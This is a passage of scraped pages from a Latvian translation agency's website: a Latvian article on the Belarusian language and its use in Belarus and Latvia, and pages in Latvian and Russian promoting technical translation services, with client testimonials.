valodu. Nepiespiesta sadzīviska rakstura komunikācija baltkrievu valodā nenotiek. Lielākā daļa cilvēku, kuri norāda uz baltkrievu valodas prasmi, patiesībā runā tā dēvētajā trasjankā ‒ krievu un baltkrievu valodas sajaukumā. Tajā lielākoties ir krievu valodas leksika, taču baltkrievu valodas gramatika un fonētika. Trasjanka veidojusies, baltkrievu tautas valodas dialektam sajaucoties ar mūsdienu literāro krievu valodu. Novērojams, ka trasjanka no sarunvalodas ienāk arī publicistikā. Šāda situācija Baltkrievijā izveidojusies dažādu iemeslu dēļ, galvenais no tiem ir Baltkrievijas 1996. gada referendums, kura rezultātā krievu valoda ieguva tādas pašas tiesības, kādas bija baltkrievu valodai. Abu valsts valodu funkcijas ir ārkārtīgi nevienmērīgi sadalītas. Baltkrievu valodā nenotiek tiesvedība, kā arī gandrīz netiek kārtota valsts iestāžu lietvedība. Krievu valoda baltkrievu valodu aktīvi izspiež no aprites, pastiprinās tendence slēgt baltkrievu valodā iznākošos izdevumus (sākot ar periodiku). Baltkrievu valoda praktiski netiek izmantota augstākās izglītības jomā. Aktīva loma baltkrievu valodas leksiskā sastāva paplašināšanā ir krievu valodai, no kuras aizgūts liels skaits vārdu un terminu, kas saistīti ar ekonomiku, kultūru, zinātni, ražošanu un citām sabiedrības dzīves jomām. Intensīvās attiecības ar lietuviešiem, ko nosaka ģeogrāfiskais tuvums un daudzu gadsimtu līdzās pastāvēšana vienā valstī, izraisījušas lietuviešu valodas cilmes leksikas veidošanos baltkrievu valodā. Baltkrievu valodas gandrīz četrsimt gadu ilgā attīstība baltkrievu-poļu divvalodības apstākļos kļuva par vienu no iemesliem, kādēļ baltkrievu valodā pastāv daudz polonismu. No vācu tirgotājiem, amatniekiem un militārajiem speciālistiem, kuri tika ieaicināti Lietuvas dižkungaitijas laikā, baltkrievu leksikā iekļuva ģermānismi. Mūsdienu baltkrievu valodā esošo ģermānismu vidū ir tādi ar amatniecību, būvniecību, karadarbību, tirdzniecību saistīti vārdi. IZLOKSNES Ir divi baltkrievu tautas valodas dialekti: ziemeļaustrumu dialekts un dienvidrietumu dialekts. Tos nodala vidus baltkrievu pārejas izloksnes. Baltkrievu valodas dialekti ir tuvi, viena dialekta runātāji brīvi saprot runu otrā dialektā. Mūsdienās baltkrieviski runājošo skolēnu skaits strauji samazinās, savukārt reģionālajos centros un lielajās pilsētās tikai daži skolēni mācās dzimtajā valodā. Valstī nav nevienas augstākās izglītības iestādes, kas piedāvātu izglītību baltkrievu valodā. Tas ir viens no galvenajiem faktoriem, kas attur vecākus sūtīt savus bērnus uz baltkrievu skolām. 1994. ─1995. mācību gadā 58% skolēnu pamatskolas pirmajās klasēs mācījās baltkrievu valodā (Minskā). Pēc Lukašenko nākšanas pie varas 1994. gadā šo klašu skaits samazinājās. 1999. gadā Minskā tikai 5,3% skolēnu pirmajās pamatskolas klasēs mācījās baltkrievu valodā. 2016. ─2017. mācību gadā baltkrievu valodā mācījās gandrīz 128 000 skolēnu (13,3% no kopējā skaita). Lielākā daļa skolu, kurās mācās baltkrievu valodā, atrodas lauku apvidos, tās pakāpeniski tiek slēgtas, jo iedzīvotāji pārceļas uz pilsētām. Katru gadu Baltkrievijā reģionos tiek slēgtas aptuveni 100 skolas, no kurām lielākā daļa mācībās izmanto baltkrievu valodu. Ir vērojama tendence šo skolu audzēkņus pārcelt uz skolām, kurās mācās krievvalodīgie. Tādējādi tiek zaudēti skolēni, kuri mācās baltkrievu valodā. Runājot par pilsētām ─ ir tikai septiņas baltkrievu valodas skolas, no kurām sešas atrodas Baltkrievijas galvaspilsētā Minskā (2019. gadā). UNESCO Pasaules apdraudēto valodu atlantā baltkrievu valoda ir norādīta kā neaizsargāta. BALTKRIEVU ALFABĒTS Baltkrievu alfabēts ir balstīts uz kirilicas rakstību un ir atvasināts no vecās baznīcas slāvu alfabēta. Mūsdienu baltkrievu formā tas pastāv kopš 1918. gada. Pirms tam baltkrievu valoda tika pierakstīta arī baltkrievu latīņu alfabētā (Łacinka/Лацінка), baltkrievu arābu alfabētā un ebreju alfabētā. Īpaša lappuse 16. ‒17. gs. vecbaltkrievu rakstības vēsturē ir ar roku pārrakstītajām grāmatām, kas baltkrievu valodā rakstītas, izmantojot arābu grafiku, ‒ kitabām. Tās, sākot ar 16. gs. veidoja Lietuvā un Baltkrievijā apmetušies Krimas tatāri, kuri ar laiku zaudēja savas tautas valodu. Baltkrievu valoda viņiem kļuva ne vien par sarunvalodu, bet arī par rakstu valodu, kas tika izmantota dažādu veidu musulmaņu reliģiskajai un tulkotajai austrumu laicīgajai literatūrai. Šie pieminekļi ir vērtīgi daļēji tādēļ, ka tajos, izmantojot arābu burtus, sistemātiski tiek demonstrētas baltkrievu valodas fonētiskās īpatnības, kas kirilicā pierakstītajos vecbaltkrievu pieminekļos fiksētas neregulāri. CIK SAREŽĢĪTA IR BALTKRIEVU VALODA? Baltkrievu valoda ir radniecīga krievu un ukraiņu valodai, līdz ar to tiem, kas pārvalda šīs valodas, baltkrievu valoda būtu viegli apgūstama. Šī valoda ir fonētiski ļoti labskanīga, gramatika ir ļoti līdzīga krievu valodai. Valodas apguvi varētu apgrūtināt fakts, ka grūti mūsdienās ir atrast mācību materiālus, jo tas, kas ir pieejams, ir diezgan rusificēts. Baltkrievu skolās, lai cik tas skumji nebūtu, savu valsts valodu – baltkrievu valodu, bērni apgūst kā svešvalodu, tāpat kā angļu valodu. BALTKRIEVU VALODAS TULKS UN TULKOTĀJS Tulkošanas birojs Skrivanek piedāvā profesionālu tekstu un mutisko tulkošanu baltkrievu valodā un tulkojumus no baltkrievu valodas. Tulkošanu veic tulki ar ilggadēju pieredzi savā nozarē un profesionālām zināšanām dažādās jomās. Mūsu pieredze garantē tulkojuma atbilstību oriģināltekstam, saprotamu ietverto informāciju. Par teksta stilistisko uzlabošanu un korektūru parūpēsies korektori. Mūsu tulkotāju un tulku komanda nodrošina Skrivanek klientus gan ar regulāriem, gan notariāli apstiprinātiem tulkojumiem. Gan juridiskām, gan fiziskām personām piedāvājam mutiskos tulkojumus tiesas sēdēs, kā arī darījumu sarunu gaitas mutiskos tulkojumus. Veicam tehniskās dokumentācijas, mājaslapu tulkojumus, līgumu un e-komercijas satura tulkojumus no/uz baltkrievu valodu. Jebkurai klienta vēlmei mēs noteikti atradīsim nepieciešamo risinājumu un valodas speciālistu. Fiziskās personas nodrošinām ar personu apliecinošu dokumentu tulkojumiem, laulību apliecību, izglītības dokumentu u. c. civiltiesiko dokumentu rakstveida tulkojumiem, kā arī veicam mutiskos tulkojumus no/uz baltkrievu valodu. BALTKRIEVU VALODA BIZNESĀ Ņemot vērā šī brīža politisko situāciju Baltkrievijā, kā biznesa valodu baltkrievu valodu Baltkrievijā praktiski neizmanto. Tiek izmantota otrā valsts valoda ─ krievu valoda. Protams, lielai daļai Baltkrievijas iedzīvotāju baltkrievu valoda ir dzimtā, bet vairāk tā tiek izmantota kā ikdienas saziņas valoda mājās. Biznesa komunikācijai ar sadarbības partneriem no citām valstīm tiek izmantota krievu un angļu valoda. BALTKRIEVI LATVIJĀ Latvijas baltkrievi ir otra lielākā mazākumtautība pēc Latvijas krieviem. Baltkrievi dienvidaustrumu Latvijā dzīvo jau vairākus gadsimtus. Tirdzniecības sakari pār abām tautām kopīgo upi Daugavu tikuši uzturēti jau kopš viduslaikiem. Tāpat arī Baltkrievijā vienmēr bijušas nelielas latviešu kopienas. Baltkrievijas pierobežā joprojām ievērojamu iedzīvotāju daļu veido Latvijas baltkrievi. Pirms Otrā pasaules kara Latvijā dzīvoja līdz 37 tūkstošiem baltkrievu. Latvijas neatkarības gadi pēc Pirmā pasaules kara baltkrieviem bija ļoti labvēlīgi, jo Latvijas baltkrieviem piešķīra mazākumtautības statusu. Baltkrievu inteliģence tikusi pie valsts finansējuma, nodibināja kultūras un izglītības biedrību „Tēvija” („Бацькаўшчына”) un atvēra vairāk nekā 50 baltkrievu skolu, kā arī ģimnāzijas. Šajā laikā publicēja preses izdevumus baltkrievu valodā, nodibināja baltkrievu biedrības, teātri. Šajā laika periodā baltkrievi sāka rūpēties par savas valodas aizsardzību un attīstību. 1934. gadā baltkrievu skolas likvidēja, jo sākās Latgales latviskošana. Dažas skolas no jauna tika atvērtas vācu okupācijas laikā, lai 1944. gadā tās atkal slēgtu. 20. gadsimta 50. —80. gados notika ievērojami liels baltkrievu migrācijas vilnis Latvijā, un tas jau bija saistīts ar padomju totalitārā režīma laiku. Tādējādi šobrīd Latvijā dzīvo aptuveni 80 tūkstoši baltkrievu, bet daudziem etniskā piederība ir vairāk etniskās izcelsmes nekā identitātes jautājums. Tikai piektā daļa baltkrievu spēj sazināties savā dzimtajā valodā. Lielākā daļa baltkrievu dzīvo jauktās ģimenēs, kur dominē krievu valoda. Latvijā ir tikai viena baltkrievu pamatskola – Rīgas Jankas Kupalas Baltkrievu pamatskola, kuras mērķis ir palīdzēt baltkrievu bērniem saglabāt savu valodu un kultūru, integrēties Latvijas sabiedrībā. Skola diemžēl nevar piedāvāt vidusskolas izglītību. Nenoliedzami, iespēja izglītoties savā dzimtajā valodā ir labākā no iespējām. Baltkrievu biedrības dara visu iespējamo, lai saglabātu savu identitāti, popularizē tautas dziesmu tradīciju, valodas un kultūras saglabāšanu un attīstīšanu starp Latvijā dzīvojošiem baltkrieviem, kā arī veicina sabiedrības integrāciju un starptautisko sadarbību. 2011. gadā Latvijas Baltkrievu savienība ar Rīgas domes, Baltkrievijas vēstniecības, Liepājas Metalurga un Iļģuciema atbalstu izdeva pirmo latviešu-baltkrievu, baltkrievu-latviešu vārdnīcu, ko bija sākusi veidot valodniece Mirdza Ābola, taču pēc viņas nāves pabeidza un iespiešanai sagatavoja Baltkrievijas Zinātņu akadēmijas Valodas un literatūras institūta līdzstrādnieka filoloģijas zinātņu kandidāta Ivana Lučica-Fedoreca vadībā. Šobrīd Baltkrievijas iedzīvotāju un baltkrievu intereses Latvijā pārstāv Baltkrievijas konsulāts Daugavpilī – https://daugavpils. mfa. gov. by/ru BALTKRIEVU VALODAS DIENA Baltkrievu valodu UNESCO novērtējusi kā neaizsargātu, jo tā saskaras ar nevienlīdzību ar krievu valodu daudzās jomās, galvenokārt oficiālajā saziņā un biznesā. Saskaņā ar tautas skaitīšanu 2009. gadā 60,8% baltkrievu uzskata baltkrievu valodu par savu dzimto valodu, bet 26% baltkrievu norādīja, ka lieto šo valodu tikai mājās. Tajā pašā laikā ikdienā to aktīvi izmanto tikai aptuveni 10% iedzīvotāju. Starptautisko dzimtās valodas dienu Baltkrievijas vispārējās vidējās izglītības iestādēs atzīmē katru gadu 21. februārī, lai saglabātu dzimto valodu kā baltkrievu tautas kultūras mantojumu. Šajā dienā tiek organizētas tematiskas izglītojošas stundas, konferences, semināri, literārie tērzēšanas forumi, konkursi, radošas tikšanās ar mākslas cilvēkiem, zinātniekiem un rakstniekiem. Notiek arī grāmatu gadatirgi, kas veltīti baltkrievu rakstniekiem un daiļliteratūras grāmatu prezentācijas. Studenti dodas ekskursijās baltkrievu valodā virtuālajos muzejos, etnogrāfiskajos vai mini muzejos, kā arī mākslas un amatniecības centros. Šajā dienā skolas ievieto savās tīmekļa vietnēs informāciju par baltkrievu valodu un literatūru, kā arī interesantu informāciju par dzejnieku, rakstnieku un citu slavenu Baltkrievijas cilvēku dzīvi un darbu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BALTKRIEVU VALODĀ: dokumentu tulkošana baltkrievu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; baltkrievu valodas tekstu korektūra; tekstu adaptācija un radošo tekstu sagatavošana; DTP – grafiskā dizaina pakalpojumi; mutiskie tulkojumi baltkrievu valodā; individuālie baltkrievu valodas kursi. BALTKRIEVU VALODAS KOMBINĀCIJAS: baltkrievu–latviešu; latviešu–baltkrievu; baltkrievu–lietuviešu; lietuviešu–baltkrievu; igauņu–baltkrievu; baltkrievu–igauņu; angļu–baltkrievu; baltkrievu–angļu; krievu–baltkrievu; baltkrievu–krievu; poļu–baltkrievu; baltkrievu–poļu; ukraiņu–baltkrievu; baltkrievu–ukraiņu; čehu–baltkrievu; baltkrievu–čehu; vācu–baltkrievu; baltkrievu–vācu; spāņu–baltkrievu; baltkrievu–spāņu; franču–baltkrievu; baltkrievu–franču; itāļu–portugāļu; baltkrievu–itāļu; dāņu–baltkrievu; baltkrievu–dāņu; zviedru–baltkrievu; baltkrievu–zviedru; norvēģu–baltkrievu; baltkrievu–norvēģu; somu–baltkrievu; baltkrievu–somu, baltkrievu–arābu; arābu–baltkrievu; baltkrievu–armēņu, armēņu–baltkrievu; baltkrievu–ukraiņu; ukraiņu–baltkrievu, bulgāru–baltkrievu, baltkrievu–bulgāru; baltkrievu–ebreju, ebreju–baltkrievu, baltkrievu–grieķu, grieķu–baltkrievu; baltkrievu–gruzīnu; gruzīnu–baltkrievu; baltkrievu–hindi; hindi–baltkrievu; baltkrievu–holandiešu; holandiešu–baltkrievu; baltkrievu–korejiešu; korejiešu–baltkrievu; baltkrievu–kurdu; kurdu–baltkrievu; baltkrievu–ķīniešu; ķīniešu–baltkrievu; baltkrievu–portugāļu; portugāļu–baltkrievu; baltkrievu–rumāņu; rumāņu–baltkrievu; baltkrievu–slovāku; slovāku–baltkrievu; baltkrievu–slovēņu; slovēņu–baltkrievu; baltkrievu–turku; turku–baltkrievu; baltkrievu–ungāru; ungāru–baltkrievu u. c. --- > Profesionāli tehniskās dokumentācijas, iekārtu instrukciju un programmnodrošinājuma tulkojumi, ievērojot nozares terminaloģiju. - Published: 2022-01-24 - Modified: 2025-06-17 - URL: https://skrivanek.lv/tehniska-tulkosana/ - Translation Priorities: Optional KAS IR TEHNISKĀ TULKOŠANA Tehniskā tulkošana ir specializēts tulkošanas veids, kam ir īpaša specifika, proti, tehniskā tulkošana pieprasa maksimāli precīzi atveidot mērķa valodā dažādus tehnoloģiskos risinājumus un procesus, prasmīgi veikt šauri specializētu terminu tulkošanu un ievērot atbilstošu izklāstījuma stilu. Tāpat tehniskās dokumentācijas, arī iekārtu instrukciju un programmnodrošinājuma, tulkojuma veikšanai nepieciešamas nevainojamas avota un mērķa valodas un profesionālās terminoloģijas zināšanas. Globalizācijas procesu ietekmē visā pasaulē vērojama plaša tehniskās informācijas apmaiņa gan starp vietējiem un ārzemju informācijas tehnoloģijas uzņēmumiem, gan ražotājiem, zinātnes un inovāciju centriem, projektētājiem, pieaug sadarbības iespējas, tādēļ tāds pakalpojums kā tehniskais tulkojums valodu pakalpojumu tirgū kļūst arvien pieprasītāks. Par citiem tulkošanas veidiem plašāka informācija pieejama sadaļās "mājaslapu tulkošana", "mutiskā tulkošana", "juridisko tekstu tulkošana", "reklāmas un mārketinga tekstu tulkošana", dažādu vispārīgu "dokumentu tulkošana" un "notariāli apliecināts tulkojums". TEHNISKĀ TULKOŠANA TIEK NODROŠINĀTA VAIRĀK NEKĀ 110 VALODĀS angļu, arābu, armēņu, čehu, dāņu, franču, grieķu, gruzīnu, hindi, igauņu, itāļu, krievu, ķīniešu, latviešu, lietuviešu, norvēģu, poļu, portugāļu, rumāņu, slovēņu, somu, spāņu, ungāru, vācu, zviedru u. c. valodās. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Nepieciešams tehniska teksta tulkojums? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt Vai piesakieties tiešsaistes konsultācijai par tehniskajiem tulkojumiem jau tūlīt! TEHNISKO TEKSTU TULKOŠANAS ĪPATNĪBAS Bieži tehniskajos tekstos ir sastopami termini, kam trūkst atbilstošu mērķa valodas ekvivalentu, tādēļ tulkotāji reizumis nodarbojas arī ar terminu jaunradi, sazinoties ar attiecīgās nozares ekspertiem un/vai lasot papildu literatūru izpratnes par tehnoloģiskajām inovācijām vai zinātniskajiem atklājumiem iegūšanai. Ja termins tiek lietots ļoti šaurā speciālistu lokā, eksperti to iesaka atveidot ļoti līdzīgi avotu valodas vārdam, lai izvairītos no pārpratumiem. Viens no veidiem, kā atveidot nezināmus terminus mērķa valodā, ir pētīt avota valodas vārda starptautisko izplatību, proti, vārdu internacionalitāte ir viens no kritērijiem terminu aizgūšanā latviešu valodā. Jo vairāk valodās kāds internacionālisms ir izplatīts, jo lielāks pamats ir to aizgūt arī latviešu valodā. Šādus internacionālismus mēdz aizgūt arī kā sinonīmus latviskiem terminiem, jo blakus latviskajam terminam, kas sekmē nepārprotamu saziņu latviešu valodas ietvaros, internacionālais sinonīms sekmē sazināšanos starptautiskajā mērogā. Tulkojot tehniskos tekstus, tulkiem ir jāievēro formāli loģiskais rakstības stils. Šim stilam raksturīga precizitāte, bezpersoniskums un informācijas pasniegšana bez papildu emocionālās nokrāsas. Tomēr šie raksturlielumi nevar pilnībā atspoguļot visas zinātniskā stila īpatnības, kas tulkam jāievēro, tulkojot tehniskos tekstus. Pieprasītākā ir tehnisko tulkojumu veikšana rakstiski. Rakstiskā forma ir ērtāka un uzticamāka, jo ir mazāka varbūtība pieļaut kādu neprecizitāti, kam var nebūt būtiskas nozīmes sadzīves komunikācijā, taču zinātniskā un tehniskā teksta kontekstā tā var radīt nopietnus pārpratumus. Tulkojot tehniskos tekstus un dokumentāciju, mērķa valodā nedrīkst izlaist nevienu grafisko elementu, zīmi vai simbolu, jo tas var izraisīt oriģināla nozīmes sagrozījumu, kas var izraisīt nopietnas un paliekošas sekas. KAS NEPIECIEŠAMS, LAI NODROŠINĀTU TEHNISKO TULKOŠANU? Lai veiktu tehnisko tulkošanu, ir nepieciešama ne tikai tulka, tulkotāju profesionālās kompetences, bet arī ir jāapgūst īpašas zināšanas tajās jomās, uz kurām attiecas tehniskā dokumentācija. Tehniskajam tulkojumam parasti tiek piesaistīti ne tikai tulki un tulkotāji, kuriem ir atbilstošā tulkošanas specializācija, bet arī redaktori un terminologi, kas strādā ar terminoloģiju, tās jaunradi, konsultējas ar nozares pārstāvjiem un akadēmisko personālu. Ļoti noder, ja tulkotājiem, tulkiem un redaktoriem ir arī praktiskā darba pieredze kādā šauras specializācijas jomā. Tāpat tehniskajiem tulkiem un tulkotājiem ir jāprot orientēties un strādāt ar liela apjoma papildu informācijas avotiem, piemēram, vietēja mēroga un starptautiskajiem tehniskajiem standartiem, informācijas meklēšana un pārbaudīšana uzticamos avotos ir būtiska tehnisko tulku darba daļa. Tehniskā tulkotāja izglītību Latvijā ir iespējams iegūt Rīgas Tehniskās universitātes E-studiju tehnoloģiju un humanitāro zinātņu fakultātē, kas piedāvā studiju programmu Tehniskā tulkošana. Tehniskā tulkošana nav iedomājama bez atbilstošiem tehnoloģiskajiem risinājumiem. Tās ir sistēmas, kuras nodrošina klients, jo īpaši specifisku vajadzību gadījumā vai risinājumi, ko izmanto tulkošanas birojs. Par tām plašāk esam aprakstījuši sadaļā "Tulkošanas rīki" un "Neironu mašīntulkošana". KAS IR TEHNISKIE TEKSTI? Tehniskais teksts ir teksts, kas atspoguļo speciālu, konkrētai mērķa grupai paredzētu informāciju, kas nepieciešama precīzu darbību veikšanai vai zinātnē balstītas informācijas nodošanai. Tādēļ tehniskajam tekstam piemīt skaidrs, precīzs un saskaņots raksturs, proti, tehniskajā tekstā tā lasītājam profesionālajā valodā tiek paskaidrota un izskaidrota katra mazākā detaļa un darbība vai sniegta teorētiskā informācija par lasītājam svešu metožu vai rīku pielietošanu. Tehnisko tekstu valodai raksturīgs plašs terminu, saīsinājumu un skaitļu lietojums. Izteiksme ir lakoniska, precīza un nepārprotama. Tāpat tehniskajam tekstam ir raksturīgs aprakstošs un demonstratīvs raksturs, kas ir saistīts ar to, ka tekstā tiek izklāstīti procesi, kas tiek balstīti dažādās zinātnes atziņās un faktos, vai arī tekstā tiek runāts par izmantojamo instrumentu vai ierīču lietošanas īpatnībām. Tehniskā dokumentācija ir tehniskās rakstīšanas gala rezultāts jeb sagatavots dokumentu kopums par kāda tehniskā produkta, kas tiek radīts vai jau tiek lietots, raksturlielumiem, parametriem un tā pielietošanu. Tehniskie teksti aptver ļoti plašu dzīves jomu spektru, sākot ar salīdzinoši vienkāršu sadzīves tehnikas ierīču lietošanas instrukcijām un beidzot ar valstiski svarīgiem militārajiem vai inženierijas projektiem. Daudzi uzskata, ka tehniskā dokumentācija ir liela apjoma teksti, kurus saprot un var izlasīt jebkurš bez speciālās izglītības, taču tas ir mīts un tā nav patiesība. Interesanti, ka mūsdienās tehniskā dokumentācija nereti tiek papildināta ar audio vizuālajiem datiem, piemēram, video projekcijām, skaņas elementiem, kas būtiski atvieglo tekstā aprakstītās informācijas uztveršanu un pielietošanu. Tehniskās dokumentācijas tekstam ir jābūt formālam un lietišķam, jābūt maksimāli precīzam, tekstā jālieto vienota terminoloģija, tostarp ar precīzi atspoguļotiem skaitliskajiem faktiem, aprēķiniem un mērījumiem. TEHNISKO TEKSTU TULKOJUMU VEIDI Tehnisko projektu, specifikāciju, sertifikātu un metodisko norādījumu tulkojumi. Būvobjektu dokumentācijas tulkojumi. Iekārtu un ierīču lietošanas instrukciju un katalogu tulkojumi. Montāžas un ekspluatācijas instrukciju tulkojumi. Vadības un kontroles rokasgrāmatu tulkojumi. Dažādu nozaru speciālās tehnoloģijas aprakstu tulkojumi. Ražošanas plānu tulkojumi. Tehnisko prezentāciju tulkojumi. Citu, ar konkrēto nozari saistīto, dokumentu tulkojumi. TEHNISKIE TULKOJUMI Parasti tehnisko tekstu tulkošanu mēdz pretstatīt daiļliteratūras, publicistikas un citu radošo tekstu tulkojumiem, jo darbā ar tehnisko tekstu tulkojumiem nav pieļaujama brīva teksta interpretācija. Termins tehniskais tulkojums apzīmē specializētas tehniskās informācijas nodošanu un apmaiņu no vienas svešvalodas otrā starp cilvēkiem, kuri runā dažādās valodās. Tehnisko tekstu tulkošana ir cieši saistīta ar zinātniski tehniskas ievirzes materiālu tulkošanu, jo tajos tiek plaši lietota zinātniski tehniskā terminoloģija. Tehnisko tekstu tulkošanā tulkotāja uzdevums ir pielāgot šauru specifisku tehnisko jomu tekstus mērķa valodas lietotāju auditorijai. Ņemot vērā straujo tehnoloģisko attīstību, tulkotājam, tulkojot tehniskos tekstus, nereti nākas strādāt ar jēdzieniem un terminiem, kam ir grūti piemeklēt attiecīgu ekvivalentu mērķa valodā. Latviešu valodā daudzi tehniskie termini šodien ienāk no angļu valodas tehniskajiem tekstiem un iesakņojas ikdienas saziņā krietni ātrāk, nekā terminologi un valodnieki spēj piedāvāt atbilstoši ekvivalentu, tādējādi izraisot sabiedrībā plašas diskusijas par valodas pareizumu un tulkotāju profesionalitāti. Daudzi pētnieki, valodu speciālisti, tulki, tulkotāji salīdzinot tehnisko tulkošanu ar tehnisko vai zinātnisko tekstu tulkošanu, atzīst ka nošķirt šos tulkojumu veidus ir ļoti grūti vai pat neiespējami. --- > Профессиональные переводы технических документов, руководств по эксплуатации оборудования в соответствии с отраслевой терминологией. - Published: 2022-01-24 - Modified: 2024-11-12 - URL: https://skrivanek.lv/tehniska-tulkosana/ - Translation Priorities: Optional ЧТО ТАКОЕ ТЕХНИЧЕСКИЙ ПЕРЕВОД Технический перевод – это специализированный вид перевода, который имеет свои особенности. В частности, он требует максимально точного изложения технологических решений и процессов на целевом языке, владения узкоспециализированными терминами и соответствующего стиля изложения. Перевод технической документации, в том числе руководств по эксплуатации оборудования и документации программного обеспечения, также требует идеального знания исходного и целевого языков и профессиональной терминологии. Под влиянием процессов глобализации во всём мире нарастает обмен технической информацией между отечественными и зарубежными информационно-технологическими компаниями, производителями, научно-инновационными центрами и проектировщиками, также расширяются возможности для сотрудничества, поэтому технический перевод становится все более востребован на рынке языковых услуг. Более подробную информацию о других видах перевода можно найти в разделах "перевод и локализация домашних страниц", "устный перевод", "юридический перевод", "рекламный и маркетинговый перевод", "перевод документов" различного типа и "нотариальный перевод". ТЕХНИЧЕСКИЙ ПЕРЕВОД НА БОЛЕЕ ЧЕМ 110 ЯЗЫКОВ английский, арабский, армянский, чешский, датский, французский, греческий, грузинский, хинди, эстонский, итальянский, русский, китайский, латышский, литовский, норвежский, польский, португальский, румынский, словенский, финский, испанский, венгерский, немецкий, шведский и другие языки. Гарантия качества и конфиденциальности, подтвержденная сертификатами ISOНаши руководители проектов говорят на латышском, русском, английском, немецком и польском языках99 % клиентов получают ценовое предложение менее чем через 15 минутБолее 3000 лингвистов и носителей языкаБолее 98 % клиентов охотно порекомендовали бы нас своим друзьям и партнерамКаждый год наше бюро переводит свыше 16 миллионов слов Вам нужен перевод технического текста? Свяжитесь с нами! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Клиент *Частное лицоПредприятие Имя и фамилия *Телефон Добавить Удалить Имя и фамилия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Название предприятия *Телефон Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Электронная почта *Языковая комбинация Добавить Удалить Дополнительная информацияОтправьте документ размером не более 20 МБ, если размер документа больше, укажите это в сообщении, и мы свяжемся с Вами Click or drag files to this area to upload. You can upload up to 10 files. Как узнали о нас? Как узнали о нас? Являюсь клиентом SkrivanekПоисковая система GoogleРекомендация друга/знакомогоFacebookTwitterLinkedInInstagramНаружная рекламаВыставкаРеклама в печатных СМИДругой вариант *Я даю согласие на обработку личных данных с целью выполнения данного запроса согласно Политике конфиденциальности SIA Skrivanek Baltic. Отправить ЧТО НАШИ КЛИЕНТЫ ГОВОРЯТ О НАС Jazz Communications Мы сотрудничаем со Skrivanek Baltic уже несколько лет. Чаще всего нам бывает необходим письменный перевод на латышский, русский и английский, однако приходилось заказывать переводы и на более редкие языки: арабский, эстонский и т. д. Кроме того, мы регулярно пользуемся услугами литературных редакторов, корректоров и копирайтеров латышских текстов. О нашем сотрудничестве остаются только приятные впечатления: руководители проектов (контактные лица) всегда оперативны, отзывчивы и конструктивны, а ценовая политика ясна, открыта и приемлема.  Прокуратура Латвийской Республики Служба административного директора Компания Skrivanek Baltic зарекомендовала себя как профессиональный, надежный партнер, предоставляющий качественные услуги. В рамках сотрудничества у нас не было ни одной претензии относительно работы Skrivanek Baltic, все рабочие вопросы решаются оперативно, общение пронизано взаимопониманием.  Служба государственных доходов Сотрудники Skrivanek Baltic отзывчивы и всегда готовы пойти навстречу. Заказы обрабатываются быстро и качественно, специфическая терминология Службы государственных доходов используется как в переводах юридических текстов, так и при работе с текстами, которые связаны с налоговой и таможенной политикой.  Рижская дума Департамент городского развития Мы очень позитивно оцениваем наше сотрудничество. Skrivanek Baltic − надежный, отзывчивый партнер с превосходными организаторскими способностями. До сих пор наша совместная работа была приятной и успешной − за это, в частности, хотелось бы поблагодарить любезных сотрудников компании, всегда готовых пойти навстречу.  Государственное агентство социального страхования Департамент пенсий отдела международных услуг Компания Skrivanek Baltic зарекомендовала себя как надежный профессиональный партнер, строго следящий за качеством услуг: переводы с использованием отраслевой терминологии выполняются на должном уровне.  ОСОБЕННОСТИ ПЕРЕВОДА ТЕХНИЧЕСКИХ ТЕКСТОВ В технических текстах часто встречаются термины, у которых нет подходящего эквивалента на языке перевода, поэтому переводчики иногда работают над созданием терминов, консультируясь с экспертами в данной области и/или обращаясь к дополнительной литературе, чтобы получить представление о технологических инновациях или научных открытиях. Если термин используется очень узким кругом специалистов, эксперты рекомендуют подбирать эквивалент, близкий к исходному слову, чтобы избежать путаницы. Если в целевом языке эквивалент отсутствует, имеет смысл проанализировать международное распространение исходного слова – интернациональность терминов является одним из критериев их заимствования в латышский язык. Чем больше языков, в которых интернационализм присутствует, тем больше причин перенять его и в латышский. Подобные интернационализмы обычно заимствуются в качестве синонимов латышских терминов, поскольку, наряду с местным термином, который способствует ясной коммуникации в рамках латышского языка, интернационализм способствует коммуникации на международном уровне. При переводе технических текстов переводчики должны придерживаться формального, логичного стиля письма. Для этого стиля характерны точность, обезличенность и подача информации без дополнительной эмоциональной окраски. Однако эти характеристики не могут полностью отразить все особенности научного стиля, которых должен придерживаться переводчик при переводе технических текстов. Наиболее востребованным является письменный технический перевод. Письменная форма более удобна и надежна, поскольку в ней меньше вероятность допустить неточности – зачастую несущественные в повседневном общении, они могут вызвать серьезное недопонимание в контексте научных и технических текстов. При переводе технических текстов и документации в тексте на целевом языке нельзя пропустить ни одного графического элемента, знака или символа, поскольку это может привести к искажению первоначального смысла, что чревато серьёзными и долгосрочными последствиями. ЧТО НЕОБХОДИМО ДЛЯ ТЕХНИЧЕСКОГО ПЕРЕВОДА? Технический перевод требует не только профессиональной компетенции 